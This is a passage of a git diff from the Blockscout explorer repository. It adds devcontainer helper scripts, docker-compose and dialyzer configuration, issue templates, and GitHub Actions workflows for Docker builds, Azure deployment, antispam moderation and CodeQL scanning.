bs --db-init +# +# 2. Development Tasks +# - Run backend server: bs +# - Run server (API only): bs --no-sync +# - Compile/recompile changes: bs --compile +# - Recompile dependencies: bs --recompile +# +# 3. Code Quality +# - Run formatter: bs --format +# - Run static analysis: bs --dialyzer +# - Run code style checks: bs --credo +# - Run spell checker: bs --spellcheck +# +# 4. Documentation +# - Generate project docs: bs --docs +# - Show usage help: bs --help +# +# Environment: +# - Loads configuration from .devcontainer/.blockscout_config if present +# - Uses default DATABASE_URL if not specified +# - Supports chain-specific configurations via CHAIN_TYPE + +source $(dirname $0)/utils + +# Source and export environment variables related to the backend configuration +BLOCKSCOUT_CONFIG_FILE=".devcontainer/.blockscout_config" +if [ -f "./${BLOCKSCOUT_CONFIG_FILE}" ]; then + set -a # Automatically export all variables + source ./${BLOCKSCOUT_CONFIG_FILE} + set +a # Disable automatic export +else + echo "Warning: ${BLOCKSCOUT_CONFIG_FILE} file not found. Skipping configuration loading." +fi + +if [ "${DATABASE_URL}" == "" ]; then + export DATABASE_URL="postgresql://postgres:postgres@db:5432/app" +fi + +# Initialize variables +INIT=false +NO_SYNC=false +DB_INIT=false +COMPILE=false +RECOMPILE=false +SPELLCHECK=false +DIALYZER=false +CREDO=false +FORMAT=false +DOCS=false +HELP=false + +# Define the help function +show_help() { + echo "Usage: bs [OPTION]" + echo "Orchestrate typical tasks when developing Blockscout backend server" + echo + echo "Options:" + echo " --help Show this help message and exit" + echo " --init Initialize the project directory" + echo " --format Run code formatter" + echo " --spellcheck Run spellcheck" + echo " --dialyzer Run dialyzer" + echo " --credo Run credo" + echo " --docs Generate documentation" + echo " --compile Compile/recompile changes" + echo " --recompile Re-fetch dependencies and recompile" + echo " --db-init (Re)initialize the database" + echo " --no-sync Run the server with disabled indexer, so only the API is available" + echo + echo "If no option is provided, the script will run the backend server." +} + +# Define valid arguments +VALID_ARGS=( + "--help" + "--init" + "--no-sync" + "--db-init" + "--compile" + "--recompile" + "--spellcheck" + "--dialyzer" + "--credo" + "--format" + "--docs" +) + +# Validate arguments +for arg in "$@" +do + if [[ ! " ${VALID_ARGS[@]} " =~ " ${arg} " ]]; then + echo "Error: Unknown argument '${arg}'" + echo + show_help + exit 1 + fi +done + +# Parse command line arguments +for arg in "$@" +do + case $arg in + --help) + HELP=true + shift # Remove --help from processing + ;; + --init) + INIT=true + shift # Remove --init from processing + ;; + --no-sync) + NO_SYNC=true + shift # Remove --no-sync from processing + ;; + --db-init) + DB_INIT=true + shift # Remove --db-init from processing + ;; + --compile) + COMPILE=true + shift # Remove --compile from processing + ;; + --recompile) + RECOMPILE=true + shift # Remove --recompile from processing + ;; + --spellcheck) + SPELLCHECK=true + shift # Remove --spellcheck from processing + ;; + --dialyzer) + DIALYZER=true + shift # Remove --dialyzer from processing + ;; + --credo) + CREDO=true + shift # Remove --credo from processing + ;; + --format) + FORMAT=true + shift # Remove --format from processing + ;; + --docs) + DOCS=true + shift # Remove --docs from processing + ;; + esac +done + +# If --help argument is passed, show help and exit +if [ "$HELP" = true ]; then + show_help + exit 0 +fi + +# Define the project directory initialization subroutine +initialize_project() { + if [ ! -d "apps/block_scout_web/priv/cert" ]; then + mix local.rebar --force + mix deps.compile + mix compile + + # cd apps/block_scout_web/assets + # npm install && node_modules/webpack/bin/webpack.js --mode production + # cd - + # cd apps/explorer + # npm install + # cd - + + cd apps/block_scout_web + mix phx.gen.cert blockscout blockscout.local + cd - + else + echo "Looks like the project directory is already initialized" + fi +} + +# Define the initialization subroutine +initialize_db() { + echo "Initializing database. Step 1 of 2: Dropping database" + if OUTPUT=$(mix ecto.drop 2>&1); then + echo "Initializing database. Step 2 of 2: Creating database" + mix do ecto.create, ecto.migrate | grep Runn + else + echo "Failed to drop database. Initialization aborted." + echo "Error output:" + echo "$OUTPUT" + return 1 + fi +} + +# Define the compile subroutine +compile() { + mix compile +} + +# Define the recompile subroutine +recompile() { + FALLBACK_APPS="block_scout_web ethereum_jsonrpc explorer indexer utils nft_media_handler" + APPS=$($(dirname $0)/extract_apps.exs) || APPS="$FALLBACK_APPS" + [ -z "$APPS" ] && APPS="$FALLBACK_APPS" + mix deps.clean $APPS + mix deps.get + mix deps.compile --force +} + +# Define the spellcheck subroutine +spellcheck() { + cspell | less +} + +# Define the dialyzer subroutine +dialyzer() { + if ! mix dialyzer; then + echo -e "\nDepending on the error you see, try either:" + echo " rm -rf 'priv/plts'" + echo " MIX_ENV=test bs --recompile" + return 1 + fi +} + +# Define the credo subroutine +credo() { + mix credo +} + +# Define the format subroutine +format() { + mix format +} + +# Define the generate_docs subroutine +generate_docs() { + mix docs +} + +# If --init argument is passed, run the project dir initialization subroutine and exit +if [ "$INIT" = true ]; then + initialize_project + exit 0 +fi + +# If --db-init argument is passed, run the database initialization subroutine and exit +if [ "$DB_INIT" = true ]; then + initialize_db + exit 0 +fi + +# If --compile argument is passed, run the compile subroutine and exit +if [ "$COMPILE" = true ]; then + compile + exit 0 +fi + +# If --recompile argument is passed, run the recompile subroutine and exit +if [ "$RECOMPILE" = true ]; then + recompile + exit 0 +fi + +# If --spellcheck argument is passed, run the spellcheck subroutine and exit +if [ "$SPELLCHECK" = true ]; then + spellcheck + exit 0 +fi + +# If --dialyzer argument is passed, run the dialyzer subroutine and exit +if [ "$DIALYZER" = true ]; then + dialyzer + exit 0 +fi + +# If --credo argument is passed, run the credo subroutine and exit +if [ "$CREDO" = true ]; then + credo + exit 0 +fi + +# If --format argument is passed, run the format subroutine and exit +if [ "$FORMAT" = true ]; then + format + exit 0 +fi + +# If --doc argument is passed, run the format subroutine and exit +if [ "$DOCS" = true ]; then + generate_docs + exit 0 +fi + +if [ "${ETHEREUM_JSONRPC_HTTP_URL}" != "" ]; then + check_server_availability ${ETHEREUM_JSONRPC_HTTP_URL} + check_server_accessibility ${ETHEREUM_JSONRPC_HTTP_URL} +fi + +if [ "${CHAIN_TYPE}" != "" -o "${CHAIN_TYPE}" != "ethereum" -o "${CHAIN_TYPE}" != "default" ]; then + source $(dirname $0)/chain-specific-checks +fi + +if [ ! -d "apps/block_scout_web/priv/cert" ]; then + echo "Project directory is not initialized" + echo "Run 'bs --init' to initialize the project directory" + exit 1 +fi + +export DISABLE_INDEXER=${NO_SYNC} + +mix phx.server diff --git a/.devcontainer/bin/chain-specific-checks b/.devcontainer/bin/chain-specific-checks new file mode 100644 index 000000000000..c6129f26b09a --- /dev/null +++ b/.devcontainer/bin/chain-specific-checks @@ -0,0 +1,17 @@ +# The script is sourced from the main script, so the unsuccessful check must exit +# with non-zero code to terminate the main script. + +source $(dirname $0)/utils + +# Run the appropriate checks based on CHAIN_TYPE +case "${CHAIN_TYPE}" in + "arbitrum") + echo "Arbitrum sepcific checks" + # if the check is not successful, exit with code 1 + check_server_availability ${INDEXER_ARBITRUM_L1_RPC} + check_server_accessibility ${INDEXER_ARBITRUM_L1_RPC} + ;; + *) + echo "No special checks for CHAIN_TYPE: $CHAIN_TYPE" + ;; +esac diff --git a/.devcontainer/bin/extract_apps.exs b/.devcontainer/bin/extract_apps.exs new file mode 100755 index 000000000000..a82f87c95d67 --- /dev/null +++ b/.devcontainer/bin/extract_apps.exs @@ -0,0 +1,45 @@ +#!/usr/bin/env elixir + +defmodule LocalHelper do + # Helper function to safely get configuration values + def get_config_value(config, key, name) do + case Keyword.get(config, key) do + nil -> {:error, name} + value -> {:ok, value} + end + end +end + +# Start Mix application +Mix.start() + +# Set the Mix environment to dev (or whatever environment you need) +Mix.env(:dev) + +# Read and evaluate the mix.exs file +Code.require_file("mix.exs") + +# Get the applications from the project configuration +apps = + try do + project = BlockScout.Mixfile.project() + + with {:ok, releases} <- LocalHelper.get_config_value(project, :releases, "releases"), + {:ok, blockscout} <- LocalHelper.get_config_value(releases, :blockscout, "blockscout release"), + {:ok, applications} <- LocalHelper.get_config_value(blockscout, :applications, "applications") do + applications + |> Keyword.keys() + |> Enum.join("\n") + else + {:error, message} -> + IO.puts(:stderr, "Error: #{message} not found in mix.exs configuration") + System.halt(1) + end + rescue + error -> + IO.puts(:stderr, "Error: Failed to read mix.exs configuration - #{Exception.message(error)}") + System.halt(1) + end + +# Print the applications to stdout +IO.puts(apps) diff --git a/.devcontainer/bin/utils b/.devcontainer/bin/utils new file mode 100644 index 000000000000..bd86034b8e5e --- /dev/null +++ b/.devcontainer/bin/utils @@ -0,0 +1,22 @@ +# Function to check server availability +check_server_availability() { + local url=$1 + + curl --connect-timeout 3 --silent ${url} 1>/dev/null + if [ $? -ne 0 ]; then + echo "VPN must be enabled to connect to ${url}" + exit 1 + fi +} + +# Function to check server accessibility with a POST request +check_server_accessibility() { + local url=$1 + local payload='[{"id":0,"params":["latest",false],"method":"eth_getBlockByNumber","jsonrpc":"2.0"}]' + + http_code=$(curl -s -o /dev/null -w "%{http_code}" -X POST ${url} -H "Content-Type: application/json" -d "${payload}") + if [ "$http_code" -ne 200 ]; then + echo "VPN must be enabled to access ${url} (HTTP status code: ${http_code})" + exit 1 + fi +} diff --git a/.devcontainer/devcontainer.json b/.devcontainer/devcontainer.json new file mode 100644 index 000000000000..54eed1903062 --- /dev/null +++ b/.devcontainer/devcontainer.json @@ -0,0 +1,47 @@ +{ + "name": "Blockscout Elixir", + "dockerComposeFile": "docker-compose.yml", + "service": "elixir", + "workspaceFolder": "/workspace", + "postCreateCommand": { + "safe-directory": "git config --global --add safe.directory ${containerWorkspaceFolder}", + "deps": "mix deps.get", + "known_hosts": "sudo chown vscode:vscode /home/vscode/.ssh && ssh-keyscan github.com > /home/vscode/.ssh/known_hosts" + }, + "remoteEnv": { + "PATH": "${containerEnv:PATH}:${containerWorkspaceFolder}/.devcontainer/bin" + }, + // Configure tool-specific properties. + "customizations": { + // Configure properties specific to VS Code. + "vscode": { + // Add the IDs of extensions you want installed when the container is created. + "extensions": [ + "JakeBecker.elixir-ls", + "ckolkman.vscode-postgres", + "GitHub.copilot", + "GitHub.copilot-chat", + "GitHub.vscode-pull-request-github" + ] + } + }, + "features": { + "ghcr.io/stuartleeks/dev-container-features/shell-history:0": {} + }, + // Use 'forwardPorts' to make a list of ports inside the container available locally. + // This can be used to network with other containers or with the host. + "forwardPorts": [ + 4000, + 4001, + 5432 + ], + // Uncomment and adjust the private key path to the one you use to authenticate on GitHub + // if you want to have ability to push to GitHub from the container. + // "mounts": [ + // "source=${localEnv:HOME}/.ssh/config,target=/home/vscode/.ssh/config,type=bind,consistency=cached", + // // Make sure that the private key can be used to authenticate on GitHub + // "source=${localEnv:HOME}/.ssh/id_rsa,target=/home/vscode/.ssh/id_rsa,type=bind,consistency=cached" + // ], + // Uncomment to connect as a non-root user. See https://aka.ms/vscode-remote/containers/non-root. + "remoteUser": "vscode" +} \ No newline at end of file diff --git a/.devcontainer/docker-compose.yml b/.devcontainer/docker-compose.yml new file mode 100644 index 000000000000..b02f2981ad5f --- /dev/null +++ b/.devcontainer/docker-compose.yml @@ -0,0 +1,30 @@ +services: + elixir: + image: ghcr.io/blockscout/devcontainer-elixir:1.17.3-erlang-27.1 + + # Uncomment next lines to use test Dockerfile with new Elixir version + # build: + # context: . + # dockerfile: Dockerfile + + volumes: + - ..:/workspace:cached + # Runs app on the same network as the database container, allows "forwardPorts" in devcontainer.json function. + network_mode: service:db + + # Overrides default command so things don't shut down after the process ends. + command: sleep infinity + + db: + image: postgres:17 + command: postgres -c 'max_connections=250' + restart: unless-stopped + volumes: + - postgres-data:/var/lib/postgresql/data + environment: + POSTGRES_USER: postgres + POSTGRES_PASSWORD: postgres + POSTGRES_DB: app + +volumes: + postgres-data: diff --git a/.dialyzer-ignore b/.dialyzer-ignore deleted file mode 100644 index 654d998e12d8..000000000000 --- a/.dialyzer-ignore +++ /dev/null @@ -1,35 +0,0 @@ -:0: Unknown function 'Elixir.ExUnit.Callbacks':'__merge__'/3 -:0: Unknown function 'Elixir.ExUnit.CaseTemplate':'__proxy__'/2 -:0: Unknown type 'Elixir.Map':t/0 -:0: Unknown type 'Elixir.Hash':t/0 -:0: Unknown type 'Elixir.Address':t/0 -apps/ethereum_jsonrpc/lib/ethereum_jsonrpc.ex:400: Function timestamp_to_datetime/1 has no local return -lib/ethereum_jsonrpc/rolling_window.ex:173 -lib/explorer/repo/prometheus_logger.ex:8 -lib/explorer/smart_contract/solidity/publisher_worker.ex:1 -lib/explorer/smart_contract/vyper/publisher_worker.ex:1 -lib/explorer/smart_contract/solidity/publisher_worker.ex:6 -lib/explorer/smart_contract/vyper/publisher_worker.ex:6 -apps/explorer/lib/explorer/repo/prometheus_logger.ex:8: Function microseconds_time/1 has no local return -apps/explorer/lib/explorer/repo/prometheus_logger.ex:8: The call 'Elixir.System':convert_time_unit(__@1::any(),'native','microseconds') breaks the contract (integer(),time_unit() | 'native',time_unit() | 'native') -> integer() -lib/block_scout_web/router.ex:1 -lib/block_scout_web/schema/types.ex:31 -lib/phoenix/router.ex:324 -lib/phoenix/router.ex:402 -lib/block_scout_web/views/layout_view.ex:145: The call 'Elixir.Poison.Parser':'parse!' -lib/block_scout_web/views/layout_view.ex:237: The call 'Elixir.Poison.Parser':'parse!' -lib/explorer/smart_contract/reader.ex:435 -lib/indexer/fetcher/token_total_supply_on_demand.ex:16 -lib/explorer/exchange_rates/source.ex:116 -lib/explorer/exchange_rates/source.ex:119 -lib/explorer/smart_contract/solidity/verifier.ex:310 -lib/block_scout_web/templates/address_contract/index.html.eex:158 -lib/block_scout_web/templates/address_contract/index.html.eex:195 -lib/explorer/third_party_integrations/sourcify.ex:120 -lib/explorer/third_party_integrations/sourcify.ex:123 -lib/block_scout_web/views/transaction_view.ex:137 -lib/block_scout_web/views/transaction_view.ex:152 -lib/block_scout_web/views/transaction_view.ex:197 -lib/indexer/buffered_task.ex:402 -lib/indexer/buffered_task.ex:451 -lib/indexer/memory/monitor.ex:160 diff --git a/.dialyzer_ignore.exs b/.dialyzer_ignore.exs new file mode 100644 index 000000000000..05fec4076945 --- /dev/null +++ b/.dialyzer_ignore.exs @@ -0,0 +1,16 @@ +[ + {"lib/ethereum_jsonrpc/rolling_window.ex", :improper_list_constr, 171}, + {"lib/explorer/smart_contract/solidity/publisher_worker.ex", :pattern_match, 1}, + {"lib/explorer/smart_contract/solidity/publisher_worker.ex", :exact_eq, 8}, + {"lib/explorer/smart_contract/solidity/publisher_worker.ex", :pattern_match, 8}, + {"lib/explorer/smart_contract/vyper/publisher_worker.ex", :pattern_match, 1}, + {"lib/explorer/smart_contract/vyper/publisher_worker.ex", :exact_eq, 8}, + {"lib/explorer/smart_contract/vyper/publisher_worker.ex", :pattern_match, 8}, + {"lib/explorer/smart_contract/stylus/publisher_worker.ex", :pattern_match, 1}, + {"lib/explorer/smart_contract/stylus/publisher_worker.ex", :exact_eq, 14}, + {"lib/explorer/smart_contract/stylus/publisher_worker.ex", :pattern_match, 14}, + ~r/lib\/phoenix\/router.ex/, + {"lib/explorer/chain/search.ex", :pattern_match, 100}, + {"lib/explorer/chain/search.ex", :pattern_match, 282}, + {"lib/explorer/chain/search.ex", :pattern_match, 379} +] diff --git a/.dockerignore b/.dockerignore index b52edd4f4769..86f0f1d690d0 100644 --- a/.dockerignore +++ b/.dockerignore @@ -5,5 +5,9 @@ apps/explorer/node_modules test .git .circleci +.vscode +.elixir_ls +erl_crash.dump logs apps/*/test +.devcontainer \ No newline at end of file diff --git a/.formatter.exs b/.formatter.exs index 69ae0d25d2c6..563ddfd8e03a 100644 --- a/.formatter.exs +++ b/.formatter.exs @@ -7,5 +7,6 @@ "mix.exs", "{config}/**/*.{ex,exs}" ], - line_length: 120 + line_length: 120, + import_deps: [:open_api_spex] ] diff --git a/.github/ISSUE_TEMPLATE/bug_report.yml b/.github/ISSUE_TEMPLATE/bug_report.yml new file mode 100644 index 000000000000..5fa188d46862 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.yml @@ -0,0 +1,100 @@ +name: Bug Report +description: File a bug report +labels: [ "triage" ] +body: + - type: markdown + attributes: + value: | + Thanks for reporting a bug 🐛! + + Please search open/closed issues before submitting. Someone might have had the similar problem before 😉! + + - type: textarea + id: description + attributes: + label: Description + description: A brief description of the issue. + validations: + required: true + + - type: dropdown + id: installation-type + attributes: + label: Type of the installation + description: How the application has been deployed. + options: + - Docker-compose + - Helm charts (k8s) + - Manual from the source code + - Docker + validations: + required: true + + - type: input + id: archive-node-type + attributes: + label: Type of the JSON RPC archive node + description: Which type of archive node is used. + placeholder: "Erigon/Geth/Nethermind/Reth/PolygonEdge/Besu/OpenEthereum/..." + validations: + required: true + + - type: input + id: chain-type + attributes: + label: Type of the chain + description: Type of the chain. + placeholder: L1/L2/... + + - type: input + id: link + attributes: + label: Link to the page + description: The link to the page where the issue occurs. + placeholder: https://eth.blockscout.com + + - type: textarea + id: steps + attributes: + label: Steps to reproduce + description: | + Explain how to reproduce the issue in the development environment. + + - type: input + id: backend-version + attributes: + label: Backend version + description: The release version of the backend or branch/commit. + placeholder: v6.1.0 + validations: + required: true + + - type: input + id: frontend-version + attributes: + label: Frontend version + description: The release version of the frontend or branch/commit. + placeholder: v1.11.1 + + - type: input + id: elixir-version + attributes: + label: Elixir & Erlang/OTP versions + description: Elixir & Erlang/OTP versions. + placeholder: Elixir 1.17.3 (compiled with Erlang/OTP 27) + validations: + required: true + + - type: input + id: os-version + attributes: + label: Operating system + description: The operating system this issue occurred with. + placeholder: Linux/macOS/Windows + + - type: textarea + id: additional-information + attributes: + label: Additional information + description: | + Use this section to provide any additional information you might have (e.g screenshots or screencasts). \ No newline at end of file diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 000000000000..439bca677db3 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1,11 @@ +blank_issues_enabled: false +contact_links: + - name: Feature Request + url: https://blockscout.canny.io/feature-requests + about: Request a feature or enhancement + - name: Ask a question + url: https://github.com/orgs/blockscout/discussions + about: Ask questions and discuss topics with other community members + - name: Join our Discord Server + url: https://discord.gg/blockscout + about: The official Blockscout Discord community \ No newline at end of file diff --git a/.github/actions/setup-repo/action.yml b/.github/actions/setup-repo/action.yml new file mode 100644 index 000000000000..ac52f13172d1 --- /dev/null +++ b/.github/actions/setup-repo/action.yml @@ -0,0 +1,86 @@ +name: 'Setup repo' +description: 'Setup repo: checkout/login/extract metadata, Set up Docker Buildx' +inputs: + github-token: + description: 'GitHub token for ghcr.io authentication' + required: true + docker-remote-multi-platform: + description: 'Docker remote multi-platform builder' + required: true + default: 'false' + docker-arm-host: + description: 'Docker remote arm builder' + required: false + docker-arm-host-key: + description: 'Docker remote arm builder ssh private key' + required: false + docker-image: + description: 'Docker image' + required: true + default: ghcr.io/blockscout/blockscout +outputs: + docker-builder: + description: 'Docker builder' + value: ${{ steps.builder_local.outputs.name || steps.builder_multi.outputs.name }} + docker-tags: + description: 'Docker metadata tags' + value: ${{ steps.meta.outputs.tags }} + docker-labels: + description: 'Docker metadata labels' + value: ${{ steps.meta.outputs.labels }} + docker-platforms: + description: 'Docker build platforms' + value: ${{ steps.builder_local.outputs.platforms || steps.builder_multi.outputs.platforms }} +runs: + using: "composite" + steps: + - name: Set up SSH key + shell: bash + run: | + mkdir -p ~/.ssh + echo "${{ inputs.docker-arm-host-key }}" > ~/.ssh/id_rsa + chmod 600 ~/.ssh/id_rsa + - name: Find builder + if: ${{ inputs.docker-remote-multi-platform }} + shell: bash + run: echo "BUILDER_IP=$(./.github/scripts/select-builder.sh ${{ inputs.docker-arm-host }} root ~/.ssh/id_rsa)" >> $GITHUB_ENV + - name: Set up SSH + if: ${{ inputs.docker-remote-multi-platform }} + uses: MrSquaare/ssh-setup-action@523473d91581ccbf89565e12b40faba93f2708bd # v1.1.0 + with: + host: ${{ env.BUILDER_IP }} + private-key: ${{ inputs.docker-arm-host-key }} + + - name: Set up Docker Buildx + if: ${{ !inputs.docker-remote-multi-platform }} + uses: docker/setup-buildx-action@v3 + id: builder_local + with: + platforms: linux/amd64 + + - name: Set up Multi-platform Docker Buildx + if: ${{ inputs.docker-remote-multi-platform }} + uses: docker/setup-buildx-action@v3 + id: builder_multi + with: + platforms: linux/amd64 + append: | + - endpoint: ssh://root@${{ env.BUILDER_IP }} + platforms: linux/arm64/v8 + + - name: Log in to GitHub Container Registry + uses: docker/login-action@v3 + with: + registry: ghcr.io + username: ${{ github.repository_owner }} + password: ${{ inputs.github-token }} + + - name: Extract metadata (tags, labels) for Docker + id: meta + uses: docker/metadata-action@v5 + with: + images: ${{ inputs.docker-image }} + + - name: Add SHORT_SHA env property with commit short sha + shell: bash + run: echo "SHORT_SHA=`echo ${GITHUB_SHA} | cut -c1-8`" >> $GITHUB_ENV diff --git a/.github/dependabot.yml b/.github/dependabot.yml index b6a9ec46bde4..90b61deae2b8 100644 --- a/.github/dependabot.yml +++ b/.github/dependabot.yml @@ -4,16 +4,20 @@ updates: directory: "/" open-pull-requests-limit: 20 schedule: - interval: "daily" + interval: "weekly" - - package-ecosystem: "npm" - directory: "/apps/block_scout_web/assets" - open-pull-requests-limit: 10 - schedule: - interval: "daily" + # - package-ecosystem: "npm" + # directory: "/apps/block_scout_web/assets" + # open-pull-requests-limit: 10 + # schedule: + # interval: "monthly" + # ignore: + # - dependency-name: "bootstrap" + # - dependency-name: "web3" + # versions: ["4.x"] - - package-ecosystem: "npm" - directory: "/apps/explorer" - open-pull-requests-limit: 10 - schedule: - interval: "daily" + # - package-ecosystem: "npm" + # directory: "/apps/explorer" + # open-pull-requests-limit: 10 + # schedule: + # interval: "monthly" diff --git a/.github/scripts/select-builder.sh b/.github/scripts/select-builder.sh new file mode 100755 index 000000000000..e785109cf559 --- /dev/null +++ b/.github/scripts/select-builder.sh @@ -0,0 +1,44 @@ +#!/bin/bash + +# Check if a domain is provided as an argument +if [ -z "$1" ]; then + echo "Usage: $0 " + exit 1 +fi + +DOMAIN=$1 +SSH_USER=$2 +SSH_KEY=$3 + +# Resolve A records +IP_LIST=$(dig +short A $DOMAIN) +if [ -z "$IP_LIST" ]; then + echo "No IPs found for domain $DOMAIN" + exit 1 +fi + +MIN_LA=1000000 +BEST_BUILDER="" + +for IP in $IP_LIST; do + # Check if the host is reachable via SSH + ssh -o StrictHostKeychecking=no -o ConnectTimeout=5 -o BatchMode=yes -i $SSH_KEY $SSH_USER@$IP "exit" 2>/dev/null + if [ $? -eq 0 ]; then + # Get the load average + LA=$(ssh -o StrictHostKeychecking=no -i $SSH_KEY $SSH_USER@$IP "uptime | awk -F'load average:' '{ print \$2 }' | cut -d, -f1" 2>/dev/null) + if [ $? -eq 0 ]; then + # Compare and find the minimum load average + LA=$(echo $LA | xargs) # Trim whitespace + if (( $(echo "$LA < $MIN_LA" | bc -l) )); then + MIN_LA=$LA + BEST_BUILDER=$IP + fi + fi + fi +done + +if [ -n "$BEST_BUILDER" ]; then + echo "$BEST_BUILDER" | tr -d '[:space:]' +else + echo "No reachable hosts found." +fi diff --git a/.github/workflows/antiscam.yml b/.github/workflows/antiscam.yml new file mode 100644 index 000000000000..2da1a0519264 --- /dev/null +++ b/.github/workflows/antiscam.yml @@ -0,0 +1,29 @@ +name: antiscam + +on: + issue_comment: + types: + - created + - edited + + discussion_comment: + types: + - created + - edited + +permissions: + pull-requests: write + issues: write + +jobs: + build: + if: ${{ !github.event.issue.pull_request }} + name: Antiscam + runs-on: ubuntu-latest + + steps: + - uses: vbaranov/antiscam-action@main + with: + token: ${{ github.token }} + env: + SCAM_ACTION_WHITELISTED_LOGINS: ${{ vars.SCAM_ACTION_WHITELISTED_LOGINS }} \ No newline at end of file diff --git a/.github/workflows/antispam.yml b/.github/workflows/antispam.yml new file mode 100644 index 000000000000..b7c6b02d914b --- /dev/null +++ b/.github/workflows/antispam.yml @@ -0,0 +1,24 @@ +name: antispam + +on: + issues: + types: + - opened + - edited + - reopened + +permissions: + pull-requests: write + issues: write + +jobs: + build: + name: Antispam + runs-on: ubuntu-latest + + steps: + - uses: vbaranov/antispam-action@main + with: + token: ${{ github.token }} + env: + SCAM_ACTION_WHITELISTED_LOGINS: ${{ vars.SCAM_ACTION_WHITELISTED_LOGINS }} diff --git a/.github/workflows/azure-container-webapp.yml b/.github/workflows/azure-container-webapp.yml new file mode 100644 index 000000000000..5bbc873a6988 --- /dev/null +++ b/.github/workflows/azure-container-webapp.yml @@ -0,0 +1,86 @@ +# This workflow will build and push a Docker container to an Azure Web App when a commit is pushed to your default branch. +# +# This workflow assumes you have already created the target Azure App Service web app. +# For instructions see https://docs.microsoft.com/en-us/azure/app-service/quickstart-custom-container?tabs=dotnet&pivots=container-linux +# +# To configure this workflow: +# +# 1. Download the Publish Profile for your Azure Web App. You can download this file from the Overview page of your Web App in the Azure Portal. +# For more information: https://docs.microsoft.com/en-us/azure/app-service/deploy-github-actions?tabs=applevel#generate-deployment-credentials +# +# 2. Create a secret in your repository named AZURE_WEBAPP_PUBLISH_PROFILE, paste the publish profile contents as the value of the secret. +# For instructions on obtaining the publish profile see: https://docs.microsoft.com/azure/app-service/deploy-github-actions#configure-the-github-secret +# +# 3. Create a GitHub Personal access token with "repo" and "read:packages" permissions. +# +# 4. Create three app settings on your Azure Web app: +# DOCKER_REGISTRY_SERVER_URL: Set this to "https://ghcr.io" +# DOCKER_REGISTRY_SERVER_USERNAME: Set this to the GitHub username or organization that owns the repository +# DOCKER_REGISTRY_SERVER_PASSWORD: Set this to the value of your PAT token from the previous step +# +# 5. Change the value for the AZURE_WEBAPP_NAME. +# +# For more information on GitHub Actions for Azure: https://github.com/Azure/Actions +# For more information on the Azure Web Apps Deploy action: https://github.com/Azure/webapps-deploy +# For more samples to get started with GitHub Action workflows to deploy to Azure: https://github.com/Azure/actions-workflow-samples + +name: Build and deploy a container to an Azure Web App + +env: + AZURE_WEBAPP_NAME: your-app-name # set this to the name of your Azure Web App + +on: + push: + branches: [ "master" ] + workflow_dispatch: + +permissions: + contents: read + +jobs: + build: + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v4 + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@f95db51fddba0c2d1ec667646a06c2ce06100226 # v3.0.0 + + - name: Log in to GitHub container registry + uses: docker/login-action@343f7c4344506bcbf9b4de18042ae17996df046d # v3.0.0 + with: + registry: ghcr.io + username: ${{ github.actor }} + password: ${{ github.token }} + + - name: Lowercase the repo name and username + run: echo "REPO=${GITHUB_REPOSITORY,,}" >>${GITHUB_ENV} + + - name: Build and push container image to registry + uses: docker/build-push-action@0565240e2d4ab88bba5387d719585280857ece09 # v5.0.0 + with: + push: true + tags: ghcr.io/${{ env.REPO }}:${{ github.sha }} + file: ./Dockerfile + + deploy: + permissions: + contents: none + runs-on: ubuntu-latest + needs: build + environment: + name: 'Development' + url: ${{ steps.deploy-to-webapp.outputs.webapp-url }} + + steps: + - name: Lowercase the repo name and username + run: echo "REPO=${GITHUB_REPOSITORY,,}" >>${GITHUB_ENV} + + - name: Deploy to Azure Web App + id: deploy-to-webapp + uses: azure/webapps-deploy@v2 + with: + app-name: ${{ env.AZURE_WEBAPP_NAME }} + publish-profile: ${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }} + images: 'ghcr.io/${{ env.REPO }}:${{ github.sha }}' diff --git a/.github/workflows/codeql-analysis.yml b/.github/workflows/codeql-analysis.yml index 9b8a5cf42ab2..c437d1dcdf2f 100644 --- a/.github/workflows/codeql-analysis.yml +++ b/.github/workflows/codeql-analysis.yml @@ -38,11 +38,11 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v5 # Initializes the CodeQL tools for scanning. - name: Initialize CodeQL - uses: github/codeql-action/init@v2 + uses: github/codeql-action/init@v3 with: languages: ${{ matrix.language }} # If you wish to specify custom queries, you can do so here or in a config file. @@ -56,7 +56,7 @@ jobs: # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). # If this step fails, then you should remove it and run the build manually (see below) - name: Autobuild - uses: github/codeql-action/autobuild@v2 + uses: github/codeql-action/autobuild@v3 # ℹ️ Command-line programs to run using the OS shell. # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun @@ -69,4 +69,4 @@ jobs: # ./location_of_script_within_repo/buildscript.sh - name: Perform CodeQL Analysis - uses: github/codeql-action/analyze@v2 + uses: github/codeql-action/analyze@v3 diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml new file mode 100644 index 000000000000..ab8ee78ee016 --- /dev/null +++ b/.github/workflows/codeql.yml @@ -0,0 +1,100 @@ +# For most projects, this workflow file will not need changing; you simply need +# to commit it to your repository. +# +# You may wish to alter this file to override the set of languages analyzed, +# or to provide custom queries or build logic. +# +# ******** NOTE ******** +# We have attempted to detect the languages in your repository. Please check +# the `language` matrix defined below to confirm you have the correct set of +# supported CodeQL languages. +# +name: "CodeQL Advanced" + +on: + push: + branches: [ "master" ] + pull_request: + branches: [ "master" ] + schedule: + - cron: '22 8 * * 1' + +jobs: + analyze: + name: Analyze (${{ matrix.language }}) + # Runner size impacts CodeQL analysis time. To learn more, please see: + # - https://gh.io/recommended-hardware-resources-for-running-codeql + # - https://gh.io/supported-runners-and-hardware-resources + # - https://gh.io/using-larger-runners (GitHub.com only) + # Consider using larger runners or machines with greater resources for possible analysis time improvements. + runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }} + permissions: + # required for all workflows + security-events: write + + # required to fetch internal or private CodeQL packs + packages: read + + # only required for workflows in private repositories + actions: read + contents: read + + strategy: + fail-fast: false + matrix: + include: + - language: actions + build-mode: none + - language: javascript-typescript + build-mode: none + # CodeQL supports the following values keywords for 'language': 'actions', 'c-cpp', 'csharp', 'go', 'java-kotlin', 'javascript-typescript', 'python', 